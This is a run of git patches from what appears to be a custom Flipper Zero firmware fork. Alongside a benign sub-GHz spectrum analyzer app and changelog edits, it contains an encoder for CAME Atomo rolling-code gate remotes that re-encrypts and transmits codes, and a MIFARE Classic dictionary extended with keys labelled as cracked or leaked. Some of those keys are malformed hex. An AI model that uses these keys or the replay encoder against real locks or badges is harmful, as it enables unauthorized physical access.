MHz */ +#define MIN_300 281 +#define CEN_300 315 +#define MAX_300 361 +#define MIN_400 378 +#define CEN_400 435 +#define MAX_400 481 +#define MIN_900 749 +#define CEN_900 855 +#define MAX_900 962 + +/* band transition points in MHz */ +#define EDGE_400 369 +#define EDGE_900 615 + +/* VCO transition points in Hz */ +#define MID_300 318000000 +#define MID_400 424000000 +#define MID_900 848000000 + +#define UPPER(a, b, c) ((((a) - (b) + ((c) / 2)) / (c)) * (c)) +#define LOWER(a, b, c) ((((a) + (b)) / (c)) * (c)) diff --git a/applications/spectrum_analyzer/spectrum_analyzer_worker.c b/applications/spectrum_analyzer/spectrum_analyzer_worker.c new file mode 100644 index 000000000..9bf3c1085 --- /dev/null +++ b/applications/spectrum_analyzer/spectrum_analyzer_worker.c @@ -0,0 +1,195 @@ +#include "spectrum_analyzer.h" +#include "spectrum_analyzer_worker.h" + +#include +#include + +#include + +struct SpectrumAnalyzerWorker { + FuriThread* thread; + bool should_work; + + SpectrumAnalyzerWorkerCallback callback; + void* callback_context; + + uint32_t channel0_frequency; + uint32_t spacing; + uint8_t width; + float max_rssi; + uint8_t max_rssi_dec; + uint8_t max_rssi_channel; + + uint8_t channel_ss[NUM_CHANNELS]; +}; + +/* set the channel bandwidth */ +void spectrum_analyzer_worker_set_filter(SpectrumAnalyzerWorker* instance) { + uint8_t filter_config[2][2] = { + {CC1101_MDMCFG4, 0}, + {0, 0}, + }; + + // FURI_LOG_D("SpectrumWorker", "spectrum_analyzer_worker_set_filter: width = %u", instance->width); + + /* channel spacing should fit within 80% of channel filter bandwidth */ + switch(instance->width) { + case NARROW: + filter_config[0][1] = 0xFC; /* 39.2 kHz / .8 = 49 kHz --> 58 kHz */ + break; + case ULTRAWIDE: + filter_config[0][1] = 0x0C; /* 784 kHz / .8 = 980 kHz --> 812 kHz */ + break; + default: + filter_config[0][1] = 0x6C; /* 196 kHz / .8 = 245 kHz --> 270 kHz */ + break; + } + furi_hal_subghz_load_registers(filter_config); +} + +static int32_t spectrum_analyzer_worker_thread(void* context) { + furi_assert(context); + SpectrumAnalyzerWorker* instance = context; + + FURI_LOG_D("SpectrumWorker", "spectrum_analyzer_worker_thread: Start"); + + // Start CC1101 + furi_hal_subghz_reset(); + furi_hal_subghz_load_preset(FuriHalSubGhzPresetOok650Async); + furi_hal_subghz_set_frequency(433920000); + furi_hal_subghz_flush_rx(); + furi_hal_subghz_rx(); + + static const uint8_t radio_config[][2] = { + {CC1101_FSCTRL1, 0x12}, + {CC1101_FSCTRL0, 0x00}, + + {CC1101_AGCCTRL2, 0xC0}, + + {CC1101_MDMCFG4, 0x6C}, + {CC1101_TEST2, 0x88}, + {CC1101_TEST1, 0x31}, + {CC1101_TEST0, 0x09}, + /* End */ + {0, 0}, + }; + + while(instance->should_work) { + furi_hal_delay_ms(50); + + // FURI_LOG_T("SpectrumWorker", "spectrum_analyzer_worker_thread: Worker Loop"); + furi_hal_subghz_idle(); + furi_hal_subghz_load_registers(radio_config); + + // TODO: Check filter! + // spectrum_analyzer_worker_set_filter(instance); + + instance->max_rssi_dec = 0; + + for(uint8_t ch = 0; ch < NUM_CHANNELS - 1; ch++) { + furi_hal_subghz_set_frequency(instance->channel0_frequency + (ch * instance->spacing)); + + furi_hal_subghz_rx(); + furi_hal_delay_ms(3); + + // dec dBm + //max_ss = 127 -> -10.5 + //max_ss = 0 -> -74.0 + //max_ss = 255 -> -74.5 + //max_ss = 128 -> -138.0 + instance->channel_ss[ch] = (furi_hal_subghz_get_rssi() + 138) * 2; + + if(instance->channel_ss[ch] > instance->max_rssi_dec) { + instance->max_rssi_dec = instance->channel_ss[ch]; + instance->max_rssi = (instance->channel_ss[ch] / 2) - 138; + instance->max_rssi_channel = ch; + } + + furi_hal_subghz_idle(); + } + + // FURI_LOG_T("SpectrumWorker", "channel_ss[0]: %u", instance->channel_ss[0]); + + // Report results back to main thread + if(instance->callback) { + instance->callback( + (void*)&(instance->channel_ss), + instance->max_rssi, + instance->max_rssi_dec, + instance->max_rssi_channel, + instance->callback_context); + } + } + + return 0; +} + +SpectrumAnalyzerWorker* spectrum_analyzer_worker_alloc() { + FURI_LOG_D("Spectrum", "spectrum_analyzer_worker_alloc: Start"); + + SpectrumAnalyzerWorker* instance = malloc(sizeof(SpectrumAnalyzerWorker)); + + instance->thread = furi_thread_alloc(); + furi_thread_set_name(instance->thread, "SpectrumWorker"); + furi_thread_set_stack_size(instance->thread, 2048); + furi_thread_set_context(instance->thread, instance); + furi_thread_set_callback(instance->thread, spectrum_analyzer_worker_thread); + + FURI_LOG_D("Spectrum", "spectrum_analyzer_worker_alloc: End"); + + return instance; +} + +void spectrum_analyzer_worker_free(SpectrumAnalyzerWorker* instance) { + FURI_LOG_D("Spectrum", "spectrum_analyzer_worker_free"); + furi_assert(instance); + furi_thread_free(instance->thread); + free(instance); +} + +void spectrum_analyzer_worker_set_callback( + SpectrumAnalyzerWorker* instance, + SpectrumAnalyzerWorkerCallback callback, + void* context) { + furi_assert(instance); + instance->callback = callback; + instance->callback_context = context; +} + +void spectrum_analyzer_worker_set_frequencies( + SpectrumAnalyzerWorker* instance, + uint32_t channel0_frequency, + uint32_t spacing, + uint8_t width) { + furi_assert(instance); + + FURI_LOG_D( + "SpectrumWorker", + "spectrum_analyzer_worker_set_frequencies - channel0_frequency= %u - spacing = %u - width = %u", + channel0_frequency, + spacing, + width); + + instance->channel0_frequency = channel0_frequency; + instance->spacing = spacing; + instance->width = width; +} + +void spectrum_analyzer_worker_start(SpectrumAnalyzerWorker* instance) { + FURI_LOG_D("Spectrum", "spectrum_analyzer_worker_start"); + + furi_assert(instance); + furi_assert(instance->should_work == false); + + instance->should_work = true; + furi_thread_start(instance->thread); +} + +void spectrum_analyzer_worker_stop(SpectrumAnalyzerWorker* instance) { + FURI_LOG_D("Spectrum", "spectrum_analyzer_worker_stop"); + furi_assert(instance); + furi_assert(instance->should_work == true); + + instance->should_work = false; + furi_thread_join(instance->thread); +} \ No newline at end of file diff --git a/applications/spectrum_analyzer/spectrum_analyzer_worker.h b/applications/spectrum_analyzer/spectrum_analyzer_worker.h new file mode 100644 index 000000000..ca051dacc --- /dev/null +++ b/applications/spectrum_analyzer/spectrum_analyzer_worker.h @@ -0,0 +1,33 @@ +#pragma once + +#include + +typedef void (*SpectrumAnalyzerWorkerCallback)( + void* chan_table, + float max_rssi, + uint8_t max_rssi_dec, + uint8_t max_rssi_channel, + void* context); + +typedef struct SpectrumAnalyzerWorker SpectrumAnalyzerWorker; + +SpectrumAnalyzerWorker* spectrum_analyzer_worker_alloc(); + +void spectrum_analyzer_worker_free(SpectrumAnalyzerWorker* instance); + +void spectrum_analyzer_worker_set_callback( + SpectrumAnalyzerWorker* instance, + SpectrumAnalyzerWorkerCallback callback, + void* context); + +void spectrum_analyzer_worker_set_filter(SpectrumAnalyzerWorker* instance); + +void spectrum_analyzer_worker_set_frequencies( + SpectrumAnalyzerWorker* instance, + uint32_t channel0_frequency, + uint32_t spacing, + uint8_t width); + +void spectrum_analyzer_worker_start(SpectrumAnalyzerWorker* instance); + +void spectrum_analyzer_worker_stop(SpectrumAnalyzerWorker* instance); diff --git a/assets/compiled/assets_icons.c b/assets/compiled/assets_icons.c index 17c84779e..2e2324561 100644 --- a/assets/compiled/assets_icons.c +++ b/assets/compiled/assets_icons.c @@ -450,6 +450,14 @@ const uint8_t _A_Snake_14_13[] = {0x01,0x00,0x14,0x00,0x00,0x0f,0xfe,0x0e,0x01,0 const uint8_t _A_Snake_14_14[] = {0x01,0x00,0x13,0x00,0x00,0x0f,0xfe,0x0e,0x01,0x18,0x04,0x18,0x02,0xb0,0x38,0x37,0x0c,0x02,0x40,0x51,0x09,0xa4,0x00,}; const uint8_t* const _A_Snake_14[] = {_A_Snake_14_0,_A_Snake_14_1,_A_Snake_14_2,_A_Snake_14_3,_A_Snake_14_4,_A_Snake_14_5,_A_Snake_14_6,_A_Snake_14_7,_A_Snake_14_8,_A_Snake_14_9,_A_Snake_14_10,_A_Snake_14_11,_A_Snake_14_12,_A_Snake_14_13,_A_Snake_14_14}; +const uint8_t _A_SpectrumAnalyzer_14_0[] = {0x01,0x00,0x1a,0x00,0x82,0x42,0x21,0x10,0x48,0x94,0x4a,0x29,0x0a,0xea,0xca,0x80,0x22,0x05,0x1e,0x94,0x4b,0x91,0x04,0xe2,0x42,0x38,0x10,0x00,0x0a,0x80,}; +const uint8_t _A_SpectrumAnalyzer_14_1[] = {0x01,0x00,0x18,0x00,0x82,0x42,0x21,0x10,0x48,0x94,0x4a,0x29,0x0a,0xea,0x00,0x48,0x0a,0x3d,0x28,0x97,0x22,0x09,0xc4,0x84,0x70,0x20,0x00,0x15,}; +const uint8_t _A_SpectrumAnalyzer_14_2[] = {0x01,0x00,0x16,0x00,0x82,0x42,0x21,0x10,0x48,0x84,0x08,0x02,0x3d,0x00,0x09,0x01,0x4f,0x91,0x04,0xe2,0x42,0x38,0x10,0x00,0x0a,0x80,}; +const uint8_t _A_SpectrumAnalyzer_14_3[] = {0x01,0x00,0x08,0x00,0x00,0x3f,0x00,0x02,0x40,0x55,0x00,0xc8,}; +const uint8_t _A_SpectrumAnalyzer_14_4[] = {0x01,0x00,0x0a,0x00,0x00,0x3f,0x06,0x40,0x01,0x10,0x28,0xf0,0x00,0x38,}; +const uint8_t _A_SpectrumAnalyzer_14_5[] = {0x01,0x00,0x12,0x00,0x00,0x1c,0x0a,0x21,0x04,0x84,0x71,0x65,0x00,0x11,0x02,0x8f,0x0a,0x21,0xc0,0x80,0x00,0x64,}; +const uint8_t* const _A_SpectrumAnalyzer_14[] = {_A_SpectrumAnalyzer_14_0,_A_SpectrumAnalyzer_14_1,_A_SpectrumAnalyzer_14_2,_A_SpectrumAnalyzer_14_3,_A_SpectrumAnalyzer_14_4,_A_SpectrumAnalyzer_14_5}; + const uint8_t _A_Sub1ghz_14_0[] = {0x01,0x00,0x1a,0x00,0x82,0x42,0x20,0x51,0x08,0x4c,0x92,0x0b,0x28,0xea,0xca,0x80,0x22,0x05,0x1e,0x4c,0x93,0x85,0x10,0xe2,0x42,0x38,0x10,0x00,0x0a,0x80,}; const uint8_t _A_Sub1ghz_14_1[] = {0x01,0x00,0x18,0x00,0x82,0x42,0x20,0x51,0x08,0x4c,0x92,0x0b,0x28,0xe2,0x80,0x48,0x0a,0x3c,0x99,0x27,0x0a,0x21,0xc4,0x84,0x70,0x20,0x00,0x15,}; const uint8_t _A_Sub1ghz_14_2[] = {0x01,0x00,0x16,0x00,0x82,0x42,0x20,0x51,0x08,0x0c,0x80,0x02,0x3c,0x10,0x09,0x01,0x4f,0x85,0x10,0xe2,0x42,0x38,0x10,0x00,0x0a,0x80,}; @@ -835,6 +843,7 @@ const Icon A_Plugins_14 = {.width=14,.height=14,.frame_count=9,.frame_rate=3,.fr const Icon A_Power_14 = {.width=14,.height=14,.frame_count=1,.frame_rate=3,.frames=_A_Power_14}; const Icon A_Settings_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_Settings_14}; const Icon A_Snake_14 = {.width=14,.height=14,.frame_count=15,.frame_rate=3,.frames=_A_Snake_14}; +const Icon A_SpectrumAnalyzer_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_SpectrumAnalyzer_14}; const Icon A_Sub1ghz_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Sub1ghz_14}; const Icon A_Tamagotchi_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Tamagotchi_14}; const Icon A_Tetris_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_Tetris_14}; diff --git a/assets/compiled/assets_icons.h b/assets/compiled/assets_icons.h index 665bc7bc4..e89385a36 100644 --- a/assets/compiled/assets_icons.h +++ b/assets/compiled/assets_icons.h @@ -107,6 +107,7 @@ extern const Icon A_Plugins_14; extern const Icon A_Power_14; extern const Icon A_Settings_14; extern const Icon A_Snake_14; +extern const Icon A_SpectrumAnalyzer_14; extern const Icon A_Sub1ghz_14; extern const Icon A_Tamagotchi_14; extern const Icon A_Tetris_14; diff --git a/assets/icons/MainMenu/SpectrumAnalyzer_14/frame_0.png b/assets/icons/MainMenu/SpectrumAnalyzer_14/frame_0.png new file mode 100644 index 0000000000000000000000000000000000000000..4fd68002e264f17319e9ffcebbc942760c3ee111 GIT binary patch literal 173 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}>7Fi*AsQ3+ zPI44#P~c(S-Shu{(VmDE4y?8_gqiOKIZaS8Ha@T}byY-gP4Fbf=m1vP6Aw6kR^Hs1 zYn8>ukZHVN@5i-$XHKfOtC|-7I&^cz#qKP>YYW)h>SI_Jl>ZZJnA*lrbMgNJ&hM+8 VWhcJU5dd1r;OXk;vd$@?2>`p`J}&?O literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/SpectrumAnalyzer_14/frame_1.png b/assets/icons/MainMenu/SpectrumAnalyzer_14/frame_1.png new file mode 100644 index 0000000000000000000000000000000000000000..f09e6eee588832a55864feceaa7b1a1ddce01976 GIT binary patch literal 168 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}NuDl_AsQ3+ zPCCeUK!L+Kdh`GPPv04FI16q*TxE2K`O=h0EDS0iZM=`pOPoK+;S)#Eg$Ay^30IGw z-1c_m>ScE~2)!u@Z9SK0u5P~0uQzUo<<$lrpJyeEC(i9>x{%3rK>RQNy*HV*vQOgY RJq6mv;OXk;vd$@?2>{pWKnVZ< literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/SpectrumAnalyzer_14/frame_2.png b/assets/icons/MainMenu/SpectrumAnalyzer_14/frame_2.png new file mode 100644 index 0000000000000000000000000000000000000000..1192ed0afda50a9e32d639c36f52d5db55d6e028 GIT binary patch literal 157 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R};hrvzAsQ3+ zP735}FyL_h-SK^Y(cg4z0-cpX+&>Y1#rdnS-|GrLUtx zSQ;08y)L{xWJc}}>D4c%?ajT;<5lpP!T2b9#iIWQWlt^EmR)eXY%S0V22WQ%mvv4F FO#mHtIwt@C literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/SpectrumAnalyzer_14/frame_3.png b/assets/icons/MainMenu/SpectrumAnalyzer_14/frame_3.png new file mode 100644 index 0000000000000000000000000000000000000000..8db45a90100ca4c66ed2e237c5c0da49a0a1c55f GIT binary patch literal 114 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}I-V|$AsQ2t z|NQ^|zn;yALD+H@+e|kgU<2Y;w@);AHw7eIzQ1y@)JFz}_4e$_$2QNL4b;cr>FVdQ I&MBb@06Y;Q7ytkO literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/SpectrumAnalyzer_14/frame_4.png b/assets/icons/MainMenu/SpectrumAnalyzer_14/frame_4.png new file mode 100644 index 0000000000000000000000000000000000000000..fbd1b47aaf405826bd7a1c5096fec614087d2611 GIT binary patch literal 121 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}#-1*YAsQ2t z|NQ^|zn;yALD+H@n};$GgmJpLxv|w0rQAN@@ipM+^N>AKC$|-bC^IuN99YYts=6}& Q2~azOr>mdKI;Vst0P0;L#{d8T literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/SpectrumAnalyzer_14/frame_5.png b/assets/icons/MainMenu/SpectrumAnalyzer_14/frame_5.png new file mode 100644 index 0000000000000000000000000000000000000000..92d4c523e57753935a12d275ddec006dd506b6e6 GIT binary patch literal 150 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}0iG_7AsQ2( zPH^NqV8C%WY0Lk5OY5n=S7!)Ze2gvCoBgL$>|q?FyP%u%NoF*SUWFt}e4 x8uUNqcHNUVN7skn*9-D9*Ie$KW68LO@s7K^@}Z@FHUiCN@O1TaS?83{1OSN-GN}Ln literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/SpectrumAnalyzer_14/frame_rate b/assets/icons/MainMenu/SpectrumAnalyzer_14/frame_rate new file mode 100644 index 000000000..e440e5c84 --- /dev/null +++ b/assets/icons/MainMenu/SpectrumAnalyzer_14/frame_rate @@ -0,0 +1 @@ +3 \ No newline at end of file diff --git a/assets/resources/Manifest b/assets/resources/Manifest index d9205ab86..6d2cb4302 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1654282266 +T:1654516779 D:badusb D:dolphin D:infrared @@ -235,7 +235,7 @@ F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo F:610a0ffa2479a874f2060eb2348104c5:2712:subghz/assets/keeloq_mfcodes F:9214f9c10463b746a27e82ce0b96e040:465:subghz/assets/keeloq_mfcodes_user F:653bd8d349055a41e1152e557d4a52d3:202:subghz/assets/nice_flor_s -F:293960caf3bf55655ff7297805e9db63:1355:subghz/assets/setting_user +F:48162bfe6129719db13c71f98852db4a:1313:subghz/assets/setting_user F:9a50dd284146dfbd8050a2ade62174d9:266:subghz/assets/universal_rf_map D:u2f/assets F:7e11e688e39034bbb9d88410044795e1:365:u2f/assets/cert.der diff --git a/assets/resources/subghz/assets/setting_user b/assets/resources/subghz/assets/setting_user index 4ded4fad2..1c7289821 100644 --- a/assets/resources/subghz/assets/setting_user +++ b/assets/resources/subghz/assets/setting_user @@ -14,8 +14,6 @@ frequency: 303875000 frequency: 304250000 frequency: 310000000 frequency: 312000000 -frequency: 312107900 -frequency: 312109900 frequency: 312100000 frequency: 313850000 frequency: 314000000 From 07b58631c6aa0191764c8cdcec6ede54834c7e82 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Mon, 6 Jun 2022 17:33:18 +0300 Subject: [PATCH 285/461] update changelog & readme --- .drone.yml | 4 ++-- CHANGELOG.md | 5 ++++- ReadMe.md | 1 + 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/.drone.yml b/.drone.yml index 93ffb65a6..6ca42f2cd 100644 --- a/.drone.yml +++ b/.drone.yml @@ -88,7 +88,7 @@ steps: Version: {{build.tag}} - [-Github-](https://github.com/Eng1n33r/flipperzero-firmware/releases/tag/{{build.tag}})" + [-Github-](https://github.com/Eng1n33r/flipperzero-firmware/releases/latest)" document: - artifacts-default/flipper-z-f7-full-${DRONE_TAG}.dfu - artifacts-default/flipper-z-f7-update-${DRONE_TAG}.zip @@ -107,7 +107,7 @@ steps: Version: {{build.tag}} - [[Github]](https://github.com/Eng1n33r/flipperzero-firmware/releases/tag/{{build.tag}})" + [[Github]](https://github.com/Eng1n33r/flipperzero-firmware/releases/latest)" trigger: event: diff --git a/CHANGELOG.md b/CHANGELOG.md index 90f357e33..a5055dd62 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,9 +1,12 @@ ### New Update +* Added Spectrum analyzer +* CAME Atomo - Save & Send - beta test, proper work is not guaranteed +* Removed similar frequencies +#### Previous changes * 0.59.1 Release * Merged latest SubGhz fixes * Added disclaimer in about pages * Added 345Mhz support -#### Previous changes * Merged latest big changes from official repo * Moved Games to "Games" Menu * Added UniversalRF Remix app diff --git a/ReadMe.md b/ReadMe.md index 8a6b5c007..151a2f381 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -149,6 +149,7 @@ If compilation fails, make sure all submodules are all initialized. Either clone - [UniversalRF Remix (By ESurge)(Original UniversalRF By jimilinuxguy)](https://github.com/ESurge/flipperzero-firmware-unirfremix) - [WAV Player (By DrZlo13)](https://github.com/flipperdevices/flipperzero-firmware/tree/zlo/wav-player) With Fix From [Atmanos](https://github.com/at-manos) - [Tetris (By jeffplang)](https://github.com/jeffplang/flipperzero-firmware/tree/tetris_game/applications/tetris_game) +- [Spectrum Analyzer (By jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) # Links From e3395ae36ea34c759398511cb5f84f80e34670d8 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 6 Jun 2022 17:53:13 +0300 Subject: [PATCH 286/461] Update came_atomo.c test invert back --- lib/subghz/protocols/came_atomo.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index fde88de89..f8caa35b4 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -145,6 +145,8 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC FURI_LOG_I(TAG, "encrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n", pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); uint64_t invert = instance->generic.data ^ 0xFFFFFFFFFFFFFFFF; + invert >>= 4; + invert = (uint64_t)0x1 << 60 | invert; hi = invert >> 32; lo = invert & 0xFFFFFFFF; FURI_LOG_I(TAG, "inverted to upload: %02X %02X %02X %02X %02X %02X %02X %02X\n", (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), From a330d48577852aaaf2e6dbfd989e3a035ff1bf02 Mon Sep 17 00:00:00 2001 From: UberGuidoZ <57457139+UberGuidoZ@users.noreply.github.com> Date: Tue, 7 Jun 2022 00:25:37 -0700 Subject: [PATCH 287/461] Added 40 more keys + notes --- .../resources/nfc/assets/mf_classic_dict.nfc | 51 ++++++++++++++++++- 1 file changed, 49 insertions(+), 2 deletions(-) diff --git a/assets/resources/nfc/assets/mf_classic_dict.nfc b/assets/resources/nfc/assets/mf_classic_dict.nfc index 39ee9523a..7ac465ac2 100644 --- a/assets/resources/nfc/assets/mf_classic_dict.nfc +++ b/assets/resources/nfc/assets/mf_classic_dict.nfc @@ -1,3 +1,8 @@ +# ----------------------------- +# File composed by UberGuidoZ +# https://github.com/UberGuidoZ +# Last update June 7, 2022 +# ----------------------------- # MIFARE DEFAULT KEYS # -- ICEMAN FORK VERSION -- # -- CONTRIBUTE TO THIS LIST, SHARING IS CARING -- @@ -3546,9 +3551,7 @@ F83466888612 F89C86B2A961 FFFFAE82366C FFFFD06F83E3 -# # Unknown origin -# 2DEB57A3EA8F 32C1BB023F87 70E3AD3F2D29 @@ -3631,3 +3634,47 @@ D27058C6E2C7 E19504C39461 FA1FBB3F0F1F FF16014FEFC7 +# /-------------------\ +# Cracked by UberGuidoZ +# \-------------------/ +# BadgeMaker Leaked +1A1B1C1D1E1F +1665FE2AE945 +158B51947A8E +El67EC67C7FF +D53732OFF9OE +5E56BFA9E2C9 +F81CED821B63 +C81584EF5EDF +9551F8F9259D +36El765CE3E8 +509052C8E42E +776C9B03BE71 +C608El3ADD50 +BEE8B345B949 +EDOEC56EEFDD +9716D524lE28 +05D1FC14DC31 +3321FB75A356 +F22A78E29880 +EC211D12C98D +8CCA8F62A551 +B637E46AD674 +39605B3C8917 +3882719778A1 +9F27D36C4230 +DB32A6811327 +8AA8544A2207 +8C5819E780A4 +7549E90353A2 +2E52ABEOCE95 +E46210ED98AB +61DO30COD7A8 +18E20102821E +DA59354DFB88 +040047C12B75 +D10008074A6F +686E736F6E20 +446176696453 +6F6674776172 +6520446F7665 From 1b332c0323b4c2457becd84ee4c733a7e95c986a Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 7 Jun 2022 17:26:19 +0300 Subject: [PATCH 288/461] Update came_atomo.c --- lib/subghz/protocols/came_atomo.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index f8caa35b4..27d17b301 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -146,16 +146,11 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC uint64_t invert = instance->generic.data ^ 0xFFFFFFFFFFFFFFFF; invert >>= 4; - invert = (uint64_t)0x1 << 60 | invert; + invert = (uint64_t)0x1 << 62 | invert; hi = invert >> 32; lo = invert & 0xFFFFFFFF; FURI_LOG_I(TAG, "inverted to upload: %02X %02X %02X %02X %02X %02X %02X %02X\n", (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); - //Send start bits Atomo - instance->encoder.upload[index++] = - level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long); - instance->encoder.upload[index++] = - level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_short); for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { if(!manchester_encoder_advance(&enc_state, !bit_read(invert, i - 1), &result)) { @@ -173,7 +168,7 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC } //pause instance->encoder.upload[index++] = - level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_long * 57); + level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_short * 113); instance->encoder.size_upload = index; } From d057c63344d369e4f15e3e00e2666a3409cd6ecf Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 7 Jun 2022 18:50:35 +0300 Subject: [PATCH 289/461] Update came_atomo.c --- lib/subghz/protocols/came_atomo.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index 27d17b301..5a54e5d3c 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -146,7 +146,7 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC uint64_t invert = instance->generic.data ^ 0xFFFFFFFFFFFFFFFF; invert >>= 4; - invert = (uint64_t)0x1 << 62 | invert; + invert = (uint64_t)0x1 << 60 | invert; hi = invert >> 32; lo = invert & 0xFFFFFFFF; FURI_LOG_I(TAG, "inverted to upload: %02X %02X %02X %02X %02X %02X %02X %02X\n", (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), From a29e34c3f499d26dfaff109928f202cc5a964b4d Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 7 Jun 2022 20:01:22 +0300 Subject: [PATCH 290/461] Update came_atomo.c code make-up, fix pause to 68ms --- lib/subghz/protocols/came_atomo.c | 33 ++++++++++++++++++++----------- 1 file changed, 21 insertions(+), 12 deletions(-) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index 5a54e5d3c..bc5bf22f6 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -133,24 +133,29 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC ManchesterEncoderResult result; uint8_t pack[8] = {}; - pack[0] = (instance->generic.data_2 >> 56); pack[1] = ((instance->generic.data_2 >> 48) & 0xFF); pack[2] = ((instance->generic.data_2 >> 40) & 0xFF); pack[3] = ((instance->generic.data_2 >> 32) & 0xFF); - pack[4] = ((instance->generic.data_2 >> 24) & 0xFF); pack[5] = ((instance->generic.data_2 >> 16) & 0xFF); pack[6] = ((instance->generic.data_2 >> 8) & 0xFF); pack[7] = (instance->generic.data_2 & 0xFF); + pack[0] = (instance->generic.data_2 >> 56); pack[1] = ((instance->generic.data_2 >> 48) & 0xFF); + pack[2] = ((instance->generic.data_2 >> 40) & 0xFF); pack[3] = ((instance->generic.data_2 >> 32) & 0xFF); + pack[4] = ((instance->generic.data_2 >> 24) & 0xFF); pack[5] = ((instance->generic.data_2 >> 16) & 0xFF); + pack[6] = ((instance->generic.data_2 >> 8) & 0xFF); pack[7] = (instance->generic.data_2 & 0xFF); - FURI_LOG_I(TAG, "encoder prepared: %02X %02X %02X %02X %02X %02X %02X %02X\n", pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); + FURI_LOG_I(TAG, "encoder prepared: %02X %02X %02X %02X %02X %02X %02X %02X\n", + pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); atomo_encrypt(pack); uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; instance->generic.data = (uint64_t)hi << 32 | lo; - FURI_LOG_I(TAG, "encrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n", pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); + FURI_LOG_I(TAG, "encrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n", + pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); uint64_t invert = instance->generic.data ^ 0xFFFFFFFFFFFFFFFF; invert >>= 4; invert = (uint64_t)0x1 << 60 | invert; hi = invert >> 32; lo = invert & 0xFFFFFFFF; - FURI_LOG_I(TAG, "inverted to upload: %02X %02X %02X %02X %02X %02X %02X %02X\n", (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), - (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); + FURI_LOG_I(TAG, "inverted to upload: %02X %02X %02X %02X %02X %02X %02X %02X\n", + (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), + (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 